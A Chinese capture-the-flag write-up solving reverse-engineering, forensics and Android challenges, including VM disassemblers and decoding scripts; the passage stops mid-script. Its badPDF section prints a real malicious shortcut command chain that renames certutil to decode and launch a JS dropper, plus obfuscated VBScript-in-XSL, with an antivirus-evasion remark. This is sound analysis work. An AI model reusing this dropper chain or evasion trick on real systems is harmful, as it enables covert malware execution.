【wp】HWS計劃2021硬體安全冬令營線上選拔賽

c10udlnk發表於2022-01-26

昨天打完的選拔賽,超級無敵難得過來及時更新(被好多師傅催來著哈哈哈,ddl第一生產力。

只能說這次比賽太幸運了,能碰到這麼多逆向題,甚至還有兩道流落在Misc和Crypto的apk,相對來說沒什麼韌體題(韌體好菜,RW嗑了八個多小時沒嗑出來TAT),那肯定開衝√

感謝師傅們手下留情╰(*°▽°*)╯

image-20220125222610060

Reverse

babyvm

vm簽到題,這個題做完以後看到是一血人都傻了,看到easyvm已經三血開外了人就更傻了,明明應該baby比easy簡單的吧

一些簡單粗暴的花指令

image-20220124230108761

花指令有點多,直接idapython走起

from idc_bc695 import *
start_addr = 0x00412CC0
end_addr = 0x00413991
l = [0x74, 0x03, 0x75, 0x01, 0xE8]
def myNop(addr, end):
    while addr < end:
        for i in range(len(l)):
            if idc.get_wide_byte(addr + i) != l[i]:
                addr += 1
                break
        else:
            for i in range(len(l)):
                PatchByte(addr, 0x90)
                addr += 1
    print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
    MakeUnkn(i, 0x90)

去完花以後可以看到主函式直接跳到vm

image-20220124224524473

image-20220124224611724

而查vm的交叉引用可以發現有四個地方都用到了vm函式,說明opcode實際上分成了四段(四個起點)

逐個逆出32個case的作用,dump出opcode(opcode以qword為單位,偏移這邊都是+8/+16這樣),寫反彙編器

(反彙編器模板在:myReverseExps/VMinterpreter.py at main · c10udlnk/myReverseExps,不過很久沒改過了,每次都是做題的時候拉下來現改,有空再把新版放上去吧hhhh)

ins_set={ 0: [3, 2, "mov arr[r{0}], 0x{1:0>4X}"],
          1: [3, 2, "mov r{0}, 0x{1:0>4X}"],
          2: [3, 2, "mov r{0}, r{1}"],
          3: [3, 2, "mov r{0}, arr[r{1}]"],
          4: [3, 2, "mov arr[r{0}], r{1}"],
          5: [3, 1, "push r{0}"],
          6: [3, 1, "pop r{0}"],
          7: [3, 2, "add r{0}, 0x{1:0>4X}"],
          8: [3, 2, "add r{0}, r{1}"],
          9: [3, 2, "sub r{0}, 0x{1:0>4X}"],
         10: [3, 2, "sub r{0}, r{1}"],
         11: [3, 2, "mul r{0}, 0x{1:0>4X}"],
         12: [3, 2, "mul r{0}, r{1}"],
         13: [3, 2, "shl r{0}, 0x{1:0>4X}"],
         14: [3, 2, "shl r{0}, r{1}"],
         15: [3, 2, "shr r{0}, 0x{1:0>4X}"],
         16: [3, 2, "shr r{0}, r{1}"],
         17: [3, 2, "xor r{0}, 0x{1:0>4X}"],
         18: [3, 2, "xor r{0}, r{1}"],
         19: [3, 2, "or r{0}, 0x{1:0>4X}"],
         20: [3, 2, "or r{0}, r{1}"],
         21: [3, 2, "and r{0}, 0x{1:0>4X}"],
         22: [3, 2, "and r{0}, r{1}"],
         23: [3, 1, "mov r{0}, getchar()"],
         24: [3, 1, "putchar(r{0})"],
         25: [3, 0, "exit"],
         26: [3, 2, "cmp r{0}, 0x{1:0>4X}"],
         27: [3, 2, "cmp r{0}, r{1}"],
         28: [3, 1, "jz {0:0>3}"],
         29: [3, 1, "jmp {0:0>3}"],
         30: [3, 1, "jl {0:0>3}"],
         31: [3, 1, "jnz {0:0>3}"]}
opcode = [18, 0, 0, 18, 1, 1, 18, 2, 2, 18, 3, 3, 18, 6, 6, 18, 7, 7, 1, 0, 105, 1, 1, 110, 1, 2, 112, 1, 3, 117, 1, 6, 116, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 102, 1, 1, 108, 1, 2, 97, 1, 3, 103, 1, 6, 58, 1, 7, 32, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 18, 1, 1, 23, 0, 18446744073709551615, 5, 0, 18446744073709551615, 7, 1, 1, 26, 1, 38, 30, 31, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 0, 2, 255, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 251, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 239, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 547, 7, 2, 1, 0, 2, 571, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 255, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 567, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 563, 7, 2, 1, 0, 2, 591, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 555, 7, 2, 1, 0, 2, 587, 7, 2, 1, 0, 2, 239, 7, 2, 1, 25, 18446744073709551615, 18446744073709551615, 18, 2, 2, 3, 0, 2, 9, 0, 99, 4, 2, 0, 7, 2, 1, 26, 2, 32, 30, 1, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 125, 28, 18, 18446744073709551615, 1, 0, 119, 1, 1, 114, 1, 2, 111, 1, 3, 110, 1, 6, 103, 1, 7, 33, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 10, 24, 0, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615, 1, 8, 256, 26, 8, 225, 30, 25, 18446744073709551615, 6, 0, 18446744073709551615, 4, 8, 0, 9, 8, 1, 29, 19, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 123, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 103, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 97, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 108, 31, 3, 18446744073709551615, 6, 0, 18446744073709551615, 26, 0, 102, 31, 3, 18446744073709551615, 18, 9, 9, 1, 10, 225, 3, 7, 9, 3, 6, 10, 17, 6, 66, 13, 6, 2, 27, 6, 7, 31, 3, 18446744073709551615, 7, 9, 1, 7, 10, 1, 26, 9, 32, 30, 42, 18446744073709551615, 1, 0, 99, 1, 1, 111, 1, 2, 114, 1, 3, 114, 1, 6, 101, 1, 7, 99, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 24, 7, 18446744073709551615, 1, 0, 116, 1, 1, 108, 1, 2, 121, 1, 3, 33, 1, 6, 10, 24, 0, 18446744073709551615, 24, 1, 18446744073709551615, 24, 2, 18446744073709551615, 24, 3, 18446744073709551615, 24, 6, 18446744073709551615, 25, 18446744073709551615, 18446744073709551615]
pc = 0
res = ["Addr    Code\n"]
addrfmt = "{0:0>3}     "
base = 0x41E000
func_start = [0x41E000, 0x41E378, 0x41E9A8, 0x41EA68]
for i in range(len(func_start)):
    func_start[i] = (func_start[i]-base) // 8
lstFunc = 0
while pc < len(opcode):
    i = pc
    pc += ins_set[opcode[i]][0]
    res.append(addrfmt.format(i - lstFunc))
    if opcode[i] not in ins_set.keys():
        print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
        break
    elif 28 <= opcode[i] <= 31:
        res.append(ins_set[opcode[i]][2].format(opcode[i+1]*3)+'\n')
    else:
        args=[]
        for j in range(ins_set[opcode[i]][1]):
            args.append(opcode[i+1+j])
        res.append(ins_set[opcode[i]][2].format(*args)+'\n')
    if pc in func_start:
        res.append('\n')
        lstFunc = pc

with open('res.txt', 'w') as f:
    f.writelines(res)

拿到res.txt,註釋裡寫了一些各段彙編的作用,就不再另開段落說明了(懶

Addr    Code
;初始化暫存器,列印提示資訊,接收flag並儲存在棧上
000     xor r0, r0
003     xor r1, r1
006     xor r2, r2
009     xor r3, r3
012     xor r6, r6
015     xor r7, r7
018     mov r0, 0x0069
021     mov r1, 0x006E
024     mov r2, 0x0070
027     mov r3, 0x0075
030     mov r6, 0x0074
033     mov r7, 0x0020
036     putchar(r0)
039     putchar(r1)
042     putchar(r2)
045     putchar(r3)
048     putchar(r6)
051     putchar(r7)
054     mov r0, 0x0066
057     mov r1, 0x006C
060     mov r2, 0x0061
063     mov r3, 0x0067
066     mov r6, 0x003A
069     mov r7, 0x0020
072     putchar(r0)
075     putchar(r1)
078     putchar(r2)
081     putchar(r3)
084     putchar(r6)
087     putchar(r7)
090     xor r1, r1
093     mov r0, getchar()
096     push r0
099     add r1, 0x0001
102     cmp r1, 0x0026
105     jl 093
108     exit
;初始化已知陣列
000     xor r2, r2
003     mov arr[r2], 0x00FF
006     add r2, 0x0001
009     mov arr[r2], 0x0223
012     add r2, 0x0001
015     mov arr[r2], 0x023B
018     add r2, 0x0001
021     mov arr[r2], 0x0237
024     add r2, 0x0001
027     mov arr[r2], 0x0237
030     add r2, 0x0001
033     mov arr[r2], 0x024B
036     add r2, 0x0001
039     mov arr[r2], 0x022B
042     add r2, 0x0001
045     mov arr[r2], 0x00FB
048     add r2, 0x0001
051     mov arr[r2], 0x022B
054     add r2, 0x0001
057     mov arr[r2], 0x0223
060     add r2, 0x0001
063     mov arr[r2], 0x024F
066     add r2, 0x0001
069     mov arr[r2], 0x00EF
072     add r2, 0x0001
075     mov arr[r2], 0x0237
078     add r2, 0x0001
081     mov arr[r2], 0x00EF
084     add r2, 0x0001
087     mov arr[r2], 0x024F
090     add r2, 0x0001
093     mov arr[r2], 0x024F
096     add r2, 0x0001
099     mov arr[r2], 0x0223
102     add r2, 0x0001
105     mov arr[r2], 0x0223
108     add r2, 0x0001
111     mov arr[r2], 0x023B
114     add r2, 0x0001
117     mov arr[r2], 0x0237
120     add r2, 0x0001
123     mov arr[r2], 0x00FF
126     add r2, 0x0001
129     mov arr[r2], 0x0233
132     add r2, 0x0001
135     mov arr[r2], 0x0233
138     add r2, 0x0001
141     mov arr[r2], 0x0233
144     add r2, 0x0001
147     mov arr[r2], 0x0237
150     add r2, 0x0001
153     mov arr[r2], 0x024B
156     add r2, 0x0001
159     mov arr[r2], 0x0233
162     add r2, 0x0001
165     mov arr[r2], 0x024F
168     add r2, 0x0001
171     mov arr[r2], 0x022B
174     add r2, 0x0001
177     mov arr[r2], 0x022B
180     add r2, 0x0001
183     mov arr[r2], 0x024B
186     add r2, 0x0001
189     mov arr[r2], 0x00EF
192     add r2, 0x0001
195     exit
;對已知陣列進行-63處理
000     xor r2, r2
003     mov r0, arr[r2]
006     sub r0, 0x0063
009     mov arr[r2], r0
012     add r2, 0x0001
015     cmp r2, 0x0020
018     jl 003
021     exit
;比較flag的格式是否為"flag{}",flag順序存在已知陣列後面的一段記憶體中,從頭遍歷進行xor 0x42和左移2處理
000     pop r0
003     cmp r0, 0x007D
006     jz 054
009     mov r0, 0x0077
012     mov r1, 0x0072
015     mov r2, 0x006F
018     mov r3, 0x006E
021     mov r6, 0x0067
024     mov r7, 0x0021
027     putchar(r0)
030     putchar(r1)
033     putchar(r2)
036     putchar(r3)
039     putchar(r6)
042     putchar(r7)
045     mov r0, 0x000A
048     putchar(r0)
051     exit
054     mov r8, 0x0100
057     cmp r8, 0x00E1
060     jl 075
063     pop r0
066     mov arr[r8], r0
069     sub r8, 0x0001
072     jmp 057
075     pop r0
078     cmp r0, 0x007B
081     jnz 009
084     pop r0
087     cmp r0, 0x0067
090     jnz 009
093     pop r0
096     cmp r0, 0x0061
099     jnz 009
102     pop r0
105     cmp r0, 0x006C
108     jnz 009
111     pop r0
114     cmp r0, 0x0066
117     jnz 009
120     xor r9, r9
123     mov r10, 0x00E1
126     mov r7, arr[r9]
129     mov r6, arr[r10]
132     xor r6, 0x0042
135     shl r6, 0x0002
138     cmp r6, r7
141     jnz 009
144     add r9, 0x0001
147     add r10, 0x0001
150     cmp r9, 0x0020
153     jl 126
156     mov r0, 0x0063
159     mov r1, 0x006F
162     mov r2, 0x0072
165     mov r3, 0x0072
168     mov r6, 0x0065
171     mov r7, 0x0063
174     putchar(r0)
177     putchar(r1)
180     putchar(r2)
183     putchar(r3)
186     putchar(r6)
189     putchar(r7)
192     mov r0, 0x0074
195     mov r1, 0x006C
198     mov r2, 0x0079
201     mov r3, 0x0021
204     mov r6, 0x000A
207     putchar(r0)
210     putchar(r1)
213     putchar(r2)
216     putchar(r3)
219     putchar(r6)
222     exit

然後反向寫出exp:

arr = [0x00FF, 0x0223, 0x023B, 0x0237, 0x0237, 0x024B, 0x022B, 0x00FB, 0x022B, 0x0223, 0x024F, 0x00EF, 0x0237, 0x00EF, 0x024F, 0x024F, 0x0223, 0x0223, 0x023B, 0x0237, 0x00FF, 0x0233, 0x0233, 0x0233, 0x0237, 0x024B, 0x0233, 0x024F, 0x022B, 0x022B, 0x024B, 0x00EF]
for i in range(len(arr)):
    arr[i] -= 0x0063
    arr[i] >>= 0x2
    arr[i] ^= 0x0042
    arr[i] = chr(arr[i])

print(''.join(arr))

image-20220123121306601

flag:e247780d029a7a992247e6667869008a

easyvm

idapython去花,好像還有一兩個零散的花指令來著,不太記得了(

from idc_bc695 import *
start_addr = 0x401660
end_addr = 0x4016F8
l = [0x0F, 0x84, 0x07, 0x00, 0x00, 0x00, 0x0F, 0x85, 0x01, 0x00, 0x00, 0x00, 0xE8]
def myNop(addr, end):
    while addr < end:
        for i in range(len(l)):
            if idc.get_wide_byte(addr + i) != l[i]:
                addr += 1
                break
        else:
            for i in range(len(l)):
                PatchByte(addr, 0x90)
                addr += 1
    print("[+] nop ok!!")
myNop(start_addr, end_addr)
for i in range(start_addr, end_addr + 1):
    MakeUnkn(i, 0x90)

主邏輯在反編譯沒出來的sub_4012F0

image-20220124231739200

可以看到偏移和函式指標,點進offset能看到函式分發

image-20220124231838276

image-20220124231906463

sub_4011E0是base64魔改,魔改為在結果xor了0x0A0B0C0D

image-20220124232343311

然後走偏移的第零個即sub_401000,而sub_401000裡面就有switch

image-20220124231944330

vm摁逆,已知陣列在unk_40B050,opcode在unk_40B030

寫反彙編器

ins_set={0xC0: [1, 0, "inc r1"],
         0xC1: [1, 0, "inc r2"],
         0xC2: [1, 0, "inc r3"],
         0xC3: [1, 0, "mov r1, r2"],
         0xC4: [1, 0, "mov r1, r3"],
         0xC5: [1, 0, "mov r2, r1"],
         0xC6: [1, 0, "mov r2, r3"],
         0xC7: [1, 0, "mov r3, r1"],
         0xC8: [1, 0, "mov r3, r2"],
         0xC9: [5, 4, "mov r1, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCA: [5, 4, "mov r2, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCB: [5, 4, "mov r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xCC: [1, 0, "mov r1, input[r3]"],
         0xCD: [1, 0, "mov r2, input[r3]"],
         0xCE: [1, 0, "xor r1, r2"],
         0xCF: [1, 0, "xor r2, r1"],
         0xD0: [1, 0, "cmp r1, data[r3]"], # a==b:1    a>b:2    a<b:0
         0xD1: [1, 0, "cmp r2, data[r3]"],
         0xD2: [5, 4, "cmp r3, 0x{3:0>2X}{2:0>2X}{1:0>2X}{0:0>2X}"],
         0xD3: [2, 1, "jz {0:0>4}"], # == 1
         0xD4: [2, 1, "jnz {0:0>4}"], # == 0
         0xFE: [1, 0, "; wrong"],
         0xFF: [1, 0, "; right"]}
opcode = [0xCA, 0x00, 0x00, 0x00, 0x00, 0xCB, 0x00, 0x00, 0x00, 0x00, 0xCC, 0xCF, 0xC9, 0xEE, 0x00, 0x00, 0x00, 0xCF, 0xD1, 0xD3, 0x01, 0xFE, 0xC2, 0xD2, 0x39, 0x00, 0x00, 0x00, 0xD4, 0xEC, 0xFF]
pc = 0
res = ["Addr    Code\n"]
addrfmt = "{0:0>4}    "
while pc < len(opcode):
    i = pc
    pc += ins_set[opcode[i]][0]
    res.append(addrfmt.format(i))
    if opcode[i] not in ins_set.keys():
        print("[-] UknOpcode 0x{0:X} in addr 0x{1:0>8X}.\n".format(opcode[i],i))
        break
    elif opcode[i] in [0xD3, 0xD4]:
        jmpdelta = opcode[i+1] if opcode[i+1] & 0x80 == 0 else opcode[i+1] - 256
        res.append(ins_set[opcode[i]][2].format(pc + jmpdelta)+'\n')
    else:
        args=[]
        for j in range(ins_set[opcode[i]][1]):
            args.append(opcode[i+1+j])
        res.append(ins_set[opcode[i]][2].format(*args)+'\n')

with open('res.txt', 'w') as f:
    f.writelines(res)

拿到res.txt

Addr    Code
0000    mov r2, 0x00000000
0005    mov r3, 0x00000000
0010    mov r1, input[r3]
0011    xor r2, r1
0012    mov r1, 0x000000EE
0017    xor r2, r1
0018    cmp r2, data[r3]
0019    jz 0022
0021    ; wrong
0022    inc r3
0023    cmp r3, 0x00000039
0028    jnz 0010
0030    ; right

就是一個很簡單的迴圈處理+比對,需要注意的是r2是累計值(被坑完出來的人5555,血淚經歷)

連前面的base64魔改一起寫exp:

import base64

data = [0xBE, 0x36, 0xAC, 0x27, 0x99, 0x4F, 0xDE, 0x44, 0xEE, 0x5F, 0xDA, 0x0B, 0xB5, 0x17, 0xB8, 0x68, 0xC2, 0x4E, 0x9C, 0x4A, 0xE1, 0x43, 0xF0, 0x22, 0x8A, 0x3B, 0x88, 0x5B, 0xE5, 0x54, 0xFF, 0x68, 0xD5, 0x67, 0xD4, 0x06, 0xAD, 0x0B, 0xD8, 0x50, 0xF9, 0x58, 0xE0, 0x6F, 0xC5, 0x4A, 0xFD, 0x2F, 0x84, 0x36, 0x85, 0x52, 0xFB, 0x73, 0xD7, 0x0D, 0xE3]
data = [0] + data
tmp = []
for i in range(1, len(data)):
    tmp.append(data[i-1] ^ 0xEE ^ data[i])

flag = ""
arr = [0xA, 0xB, 0xC, 0xD]
pos = 0
for x in tmp:
    flag += chr(tmp[pos] ^ arr[pos%4])
    pos += 1
print(flag)
print(base64.b64decode(flag.encode()))

image-20220123180848773

flag:2586dc76-98d5-44e2-ad58-d06e6559d82a

babyre

這題ollvm太陰間了啊啊啊!!!

慣例去完花以後,可以看到在主函式由很明顯的幾個函式段

image-20220124233120068

一個xor運算

image-20220124233208440

一個n複雜運算

image-20220124234946031

又一個xor運算

還有不知道在哪但絕對是最後一步的base64換表(在最後有比較,比較以後直接接success)

image-20220124233455356

image-20220124233505002

實在看不動了直接動態除錯+找規律

用的幾組測試資料↓

image-20220125230150063

關於xor的識別,這實際上是一種常用的混淆手法(在之前某一道題裡磨礪出來的),順便總結一下 (加上在這道題裡學會的|),一般來說找幾組資料驗證一下就能猜出來的:

  • (~x|y)-(x|~y) == x - y
  • (~x&y)-(x&~y) == x - y
  • (~x&y)+(x&~y) == x ^ y
  • (~x&y)|(x&~y) == x ^ y
  • x|y+x|y-x-y == x ^ y
  • ~(~y|~x)|(y^x) == x | y

在這裡下斷點可以調出第一部分的xor

image-20220124234018420

看彙編可以知道xor的資料在var_18,8次迴圈,每次迴圈會改變4個位元組,也就是說4位元組為一組

往上翻到算出var_18的地方,發現是由每組同一位置共八位元組的相互xor得到的,看附近的彙編程式碼即可

image-20220124234146931

於是有第一個邏輯:

arr = [0 for _ in range(4)]
for i in range(len(s)):
    arr[i%4] ^= s[i]
for i in range(len(s)):
    s[i] ^= arr[i%4]

第二個邏輯在下一個xor下斷點

image-20220124234348460

通過動態除錯可以看到是從3開始每次1位元組1位元組改變,同樣3個一組,且如果輸入為全相同(比如aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)的時候更明顯,這種輸入不會受到第一個xor的影響(偶數個相同的異或起來為0)

xor的資料在var_31 var_32 var_33,同樣可以看彙編往上追溯

image-20220124234626495

image-20220124234637112

image-20220124234644250

反編譯可以看到就是那個巨複雜的運算,由真值表化簡可以得到第二段邏輯

for i in range(3, len(s), 3):
    tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
    for j in range(i, len(s)):
        s[j] ^= tmp[j%3]

最後逆向寫exp:

import base64

s = "Fi9X/fxX6Q6JBfUfBM1V/y6V6PcPjMaQLl9IuttFuH68"
# s = "aJW31v1YF9nucbsFYGp2/XtrIO8tUi7oBX1CYmVVuGZ0"
# s = "BGpvCSXOIOUgBOp0Uofm1PZh1Msa4YVaS81UmWHchtr"
# s = "1Of0LdCt6iVW/M6x1dc0LOPz6lYp/t9e1Of0LdCt6iQ1"

myTable  = "QVEJAfHmUYjBac+u8Ph5n9Od16FrICL/X0GvtM4qk7T2z3wNSsyoebilxWKgZpRD"
b64table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
s = list(base64.b64decode(s.translate(str.maketrans(myTable,b64table)).encode()))
# print(bytes(s))

# s = list("qwertyuiopasdfghjklzxcvbnm123456")
# s = "abcdefghijklmnopqrstuvwxyz012345"
# s = list("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa")

# arr = [0 for _ in range(4)]
# for i in range(len(s)):
#     arr[i%4] ^= s[i]
# for i in range(len(s)):
#     s[i] ^= arr[i%4]

# for i in range(3, len(s), 3):
#     tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
#     for j in range(i, len(s)):
#         s[j] ^= tmp[j%3]
# print(bytes(s))

s2 = s.copy()
for i in range(3, len(s), 3):
    tmp = [s[i-3]>>2, ((s[i-2]>>4)|(~(~s[i-3]|0xfc)<<4))&0xff, ((s[i-1]>>6)|((s[i-2]&(s[i-2]^0xF0))<<2))&0xff]
    for j in range(i, len(s)):
        s2[j] ^= tmp[j%3]
s2 = s2[:-1] # 最後多了一位填充
# print(bytes(s2))

arr = [0 for _ in range(4)]
for i in range(len(s2)):
    arr[i%4] ^= s2[i]
for i in range(len(s2)):
    s2[i] ^= arr[i%4]
print(bytes(s2))

image-20220124234840708

flag:fce5e3dfc6db4f808ccaa6fcffecf583

Misc

badPDF

拿到檔案就直接開啟了orz,發現找不到js,意識到有payload嵌入。檢視target

image-20220124222953794

這裡顯示不全,直接用十六進位制閱讀器開啟可以看到target的一些關鍵字,定位到這裡,把可見字元提取出來

image-20220124223125351

Windows\System32\cmd.exe /c copy "20200308-sitrep-48-covid-19.pdf.lnk" %tmp%\\g4ZokyumBB2gDn.tmp /y&for /r C:\\Windows\\System32\\ %i in (*ertu*.exe) do copy %i %tmp%\\msoia.exe /y&findstr.exe "TVNDRgAAAA" %tmp%\\g4ZokyumBB2gDn.tmp>%tmp%\\cSi1r0uywDNvDu.tmp&%tmp%\\msoia.exe -decode %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\oGhPGUDC03tURV.tmp&expand %tmp%\\oGhPGUDC03tURV.tmp -F:* %tmp% &wscript %tmp%\\9sOXN6Ltf0afe7.js

在閱讀程式碼的過程中搜尋關鍵字(*ertu*.exe)找到了原病毒:https://www.freebuf.com/articles/network/241414.html

有一個很有趣的地方就是,這裡明明就是複製一次(把certutil.exe複製過去),為什麼要用到for呢。就是通過(*ertu*.exe)這個正則匹配繞過安全檢測,畢竟那個資料夾裡肯定就只有一個exe是符合的,不會有誤操作,而且可以避免殺軟啥的對certutil.exe操作的檢查(猜的)。

我在CTF題學cmd命令,捂臉

image-20220124223701986

第一層是一樣的,所以直接跟著他程式碼做,直到拿到9sOXN6Ltf0afe7.js

var e7926b8de13327f8e703624e = new ActiveXObject("WScript.Shell");
e7926b8de13327f8e703624e.Run ("cmd /c mkdir %tmp%\\cscript.exe&for /r C:\\Windows\\System32\\ %m in (cscr*.exe) do copy %m %tmp%\\cscript.exe\\msproof.exe /y&move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl&%tmp%\\cscript.exe\\msproof.exe //nologo %windir%\\System32\\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty&del \"%tmp%\\cscript.exe\\WsmPty.xsl\" /f /q&\"%tmp%\\20200308-sitrep-48-covid-19.pdf\"",0);

可以看到又是一層系統呼叫,不過這層就沒什麼東西了,就是讓他能成功呼叫最後刪除中間檔案的過程。

做到move /Y %tmp%\\cSi1r0uywDNvDu.tmp %tmp%\\cscript.exe\\WsmPty.xsl可以知道,上一步解壓出來的cSi1r0uywDNvDu.tmp實際上也是一個程式碼,開啟可以看到

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
 <ms:script implements-prefix="user" language="VBScript">
 <![CDATA[
 rBOH7OLTCVxzkH=HrtvBsRh3gNUbe("676d60667a64333665326564333665326564333665326536653265643336656564333665327c"):execute(rBOH7OLTCVxzkH):function HrtvBsRh3gNUbe(bhhz6HalbOkrki):for rBOH7OLTCVxzkH=1 to len(bhhz6HalbOkrki)step 2:HrtvBsRh3gNUbe=HrtvBsRh3gNUbe&chr(asc(chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2)))xor 1):next:end function:
 ]]> </ms:script>
</stylesheet>

嵌入了一段VBscript的程式碼,速成VBscript可以發現這實際上就是個unhex+xor 1的過程

VBscript的關鍵點在:

  • "aaa" & "bbb" == "aaabbb",這裡&是連線符的意思,相當於python裡字串之間的+
  • "&h41"實際上就是python裡的"\x41",所以這裡chr("&h"&mid(bhhz6HalbOkrki,rBOH7OLTCVxzkH,2))是取兩位然後unhex(內建函式的作用自行搜尋)
  • VB裡面異或就寫成xor是我沒想到的(逃

所以寫exp有:

s = bytes.fromhex("676d60667a64333665326564333665326564333665326536653265643336656564333665327c")
flag = ""
for x in s:
    flag += chr(x ^ 1)
print(flag)

image-20220123133730571

flag:e27d3de27d3de27d3d7d3de27dde27d3

gogogo

本來以為raw是拼圖的線索,一番記憶體取證發現並沒有什麼線索。

後來想到如果是python程式切出來的,那肯定出來的時間是有先後的吧(我就不信有人ps手切),所以直接日期排序走起。

電腦螢幕太小了顯示不了16張一行,稍微微調了一下(每行刪掉第一張

image-20220124214617674

image-20220124214649437

可以看到password是3e8f092d4d7b80ce338d6e238efb01。

能用到password的地方一般都是壓縮包,於是去filescan一下把檔案列表匯出來,grep看有沒有奇怪的壓縮包。

image-20220124220232147

發現有一個csgo.zip.zip(fps玩家狂喜),感覺是奇怪的包,dump下來。

volatility -f 2.raw --profile=WinXPSP2x86 dumpfiles -Q 0x0000000002182dc0 -D ./ -u

用password解密發現可行,解出來一張打不開的csgo.png圖片,png解包經典foremost

foremost csgo.png解出來兩張圖

image-20220124221520952

第一張圖不太像二維碼(四周補上的話data區缺太多),按著這個思路搜尋其他的二維碼發現一種特徵在中間的Aztec code。

(賽後聽凌邪師傅說槍的“阿茲特克”就是指這個Aztec,人傻了.jpg)

於是按照格式用photoshop拼了一下(做工極度粗糙,管他的能掃就行)

【wp】HWS計劃2021硬體安全冬令營線上選拔賽

找到了(好像是唯一的)線上解碼器:https://products.aspose.app/barcode/zh-hans/recognize/aztec#

image-20220123163515394

發現解碼成功!

flag:fbab8380-a642-48aa-89b1-8e251f826b12

TimeTravel

看MainActivity沒看出什麼,發現有調庫就先去看庫了。

實在沒找到能入手的地方,於是去翻字串,居然看到了

image-20220124160814551

眉頭一皺,發現並不簡單.jpg

然後直接去找這個字串的交叉引用,果然看到了一個check函式

image-20220124160914172

ooo000粗略的看起來是一個base64,sub_4AE8有一點混淆,通過呼叫的分析和一些典型操作(比如初始化s盒、xor,那幾個圖裡已命名的函式)能大概看出來是個魔改rc4,從xor操作看出除了正常的rc4異或以外還異或了當前的序號。比較的v17是已知陣列off_17180。

【wp】HWS計劃2021硬體安全冬令營線上選拔賽image-20220124162408263image-20220124162420829

在genKey裡,金鑰通過一個倒著的表和一些計算得出

image-20220124162553728

image-20220124162604899

所以可以根據他的方法將金鑰算出來,同時在rc4的結果上遍歷xor序號就能拿到第一部分的結果

【wp】HWS計劃2021硬體安全冬令營線上選拔賽

ooo000的魔改在取數的時候取的是x^(x>>3)而不是x

image-20220124163120723

因為這個改動比較大,選擇手寫base64解碼

【wp】HWS計劃2021硬體安全冬令營線上選拔賽
【wp】HWS計劃2021硬體安全冬令營線上選拔賽

invshift是以前比賽中用過的對x^(x>>3)演算法的逆向函式(一招鮮吃遍天了屬於是

【wp】HWS計劃2021硬體安全冬令營線上選拔賽

算出來以後發現只拿到了後半部分,flag應該是一個uuid,前面少了八個位元組

image-20220124163427892

於是跑回去翻java層,發現這個包其實是有個main2activity的(下次搜尋一定少搜一點555,絕了

這裡一看就是主函式了

【wp】HWS計劃2021硬體安全冬令營線上選拔賽

比對前五位元組是"flag{"和末尾位元組的"}",把中間的部分提取出來,檢查[0:3]是"e25",剩下五位爆破md5

image-20220124104800696

一個比較坑的地方在hexdigits是改了表的!!!!!!出題人其心可誅!!!!!!(劃掉

爆了好久爆不出來才發現,太絕了,手動把雜湊值的4和5、E和F進行替換來爆破才爆出來

image-20220124112955518

整道題的exp:

from hashlib import md5
from arc4 import ARC4
import base64

def bf(s):
    s = s.lower()
